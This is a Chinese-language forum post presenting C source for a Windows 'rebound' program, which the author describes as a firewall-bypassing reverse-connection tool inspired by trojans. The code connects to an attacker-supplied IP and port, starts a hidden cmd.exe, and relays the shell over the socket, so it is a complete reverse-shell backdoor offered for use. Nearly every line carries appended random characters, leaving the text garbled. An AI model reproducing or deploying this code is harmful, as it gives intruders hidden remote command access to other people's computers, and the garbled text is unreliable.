这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kXc25y'blP
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/* ============================== nH[+n `{o
Rebound port in Windows NT \2kPq>hu
By wind,2006/7 N_DT7
===============================*/ q/gB<p9
#include .EP6oKA
#include 5#2F1NX
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#pragma comment(lib,"wsock32.lib") Is.WZYa
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void OutputShell(); !<n"6KA.
SOCKET sClient; |m
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0ejdKdYN
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void main(int argc,char **argv) acW'$@y9?N
{ Q^_/By@
WSADATA stWsaData; C"w
{\
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int nRet; =o=1"o[
SOCKADDR_IN stSaiClient,stSaiServer; U4,2 br>
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if(argc != 3) &KC!*}<tx
{ \nvAa_,
printf("Useage:\n\rRebound DestIP DestPort\n"); M>H=z#C>/A
return; v"Jgw;3
} 53OJ-m%a
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5g
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O8u3y
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stSaiClient.sin_family = AF_INET; `,>wC+}
stSaiClient.sin_port = htons(0); yy2I2Bv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (9RslvKL
{ ?Dsm~bkX[
printf("Bind Socket Failed!\n"); n(;:*<Rh
return; mY&ud>,U:
} -uR72f
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stSaiServer.sin_family = AF_INET; H{G{H=K_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]B4}eBt5)@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b"j|Bb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #`SD$;
{ KLQ!b,=q
printf("Connect Error!"); 9IZu$-
return; QLq@u[A
} 8Jr?ZDf`
OutputShell(); 8<#U9]
} vK'?:}~
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void OutputShell() g"8 .}1)~r
{ )mN9(Ob!
char szBuff[1024]; rAqxTdF
SECURITY_ATTRIBUTES stSecurityAttributes; a}nbo4jK
OSVERSIONINFO stOsversionInfo; `S/wJ'c
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HK=[U9 o?
STARTUPINFO stStartupInfo; x5si70BKC/
char *szShell; /Wj,1WX~
PROCESS_INFORMATION stProcessInformation; <,%:
unsigned long lBytesRead; vA% ^`5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H#d:kil Ny
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v> z@
stSecurityAttributes.lpSecurityDescriptor = 0; P&A|PY,P
stSecurityAttributes.bInheritHandle = TRUE; pxINw>\Qv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?w&SW{ I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /X8<C=}
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2&(sa0*y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?/#}ZZK^
stStartupInfo.wShowWindow = SW_HIDE; u:gtOjk2
stStartupInfo.hStdInput = hReadPipe; 1&)_(|p[C
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !
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GetVersionEx(&stOsversionInfo); GUB`|is^
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switch(stOsversionInfo.dwPlatformId) p='-\M74K
{ deX5yrvOie
case 1: )h$NS2B`
szShell = "command.com"; Vd9@Dy
break; <eN R8(P
default: 2ef;NC.&n
szShell = "cmd.exe"; [bQj,PZ&
break; b3qc_
} rnm03 '{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;GHvPQc_
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send(sClient,szMsg,77,0); 6vzk\n
while(1) k!XhFWb
{ ]rBM5~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L):qu
if(lBytesRead) vq'c@yw;
{ 748CD{KxW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J]/}ojW3
send(sClient,szBuff,lBytesRead,0); ?>uew^$d[w
} |01?w |
else n]CbDbNw7)
{ ^C^*,V3
lBytesRead=recv(sClient,szBuff,1024,0); M~T.n)x2
if(lBytesRead<=0) break; do/)~9[4\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !UBO_X%dz
} V1=*z
} =H]F`[B=
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return; TJ@Cj y%
}